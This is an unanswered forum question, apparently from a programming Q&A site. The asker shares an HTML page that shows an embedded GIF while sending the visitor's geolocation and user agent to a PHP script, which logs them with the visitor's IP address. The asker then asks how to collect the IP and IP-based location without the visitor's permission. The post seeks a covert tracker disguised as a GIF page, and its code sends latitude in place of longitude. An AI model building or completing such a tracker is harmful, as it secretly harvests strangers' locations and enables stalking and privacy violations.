How to get an IP address and IP based location of another computer/user embedded on a gif without asking the users permission using javascript?

57 views Asked by At

THESE ARE MY PRESENT CODES FOR GEOLOCATION (ASKING FOR PERMISSION):

FOR LOCATE.HTML FILE:

<!DOCTYPE html>
<html>
<body onload="getLocation()">

    <iframe src="https://giphy.com/embed/hEmBhg0RTmcb6" width="480"             
    height="360" frameBorder="0" class="giphy-embed" allowFullScreen><    
    iframe><p><a href="https://giphy.com/gifs/hEmBhg0RTmcb6">via  
    GIPHY</a></p>



<p id="demo"></p>

<script>
const x = document.getElementById("demo");

function getLocation() {
  if (navigator.geolocation) {
    navigator.geolocation.getCurrentPosition(showPosition);
  } else { 
    x.innerHTML = "Geolocation is not supported by this browser.";
  }
}

function showPosition(position) {
    const xhttp = new XMLHttpRequest();
    xhttp.open("GET", "store.php?lat=" + position.coords.latitude +    
"&long=" + position.coords.latitude + "&uagent=" +   
navigator.userAgent);
    xhttp.send();
}
</script>
<iframe src="https://giphy.com/embed/hEmBhg0RTmcb6" width="480" 
height="360" frameBorder="0" class="giphy-embed" allowFullScreen></
iframe><p><a href="https://giphy.com/gifs/hEmBhg0RTmcb6">via GIPHY</
a></p>

FOR STORE.PHP FILE:

<?php

$myfile = fopen("location.txt", "w");
$txt = "lat: " . $_GET["lat"] . "\nlong: " . $_GET["long"]. "\nIP: " .   
$_SERVER["REMOTE_ADDR"] . "\nUser agent:" . $_GET["uagent"];
fwrite($myfile, $txt);
fclose($myfile);
?>

HOW DO I MODIFY THESE CODES JUST TO GET IP ADDRESS AND IP BASED LOCATION WITHOUT ASKING FOR PERMISSION?

0

There are 0 answers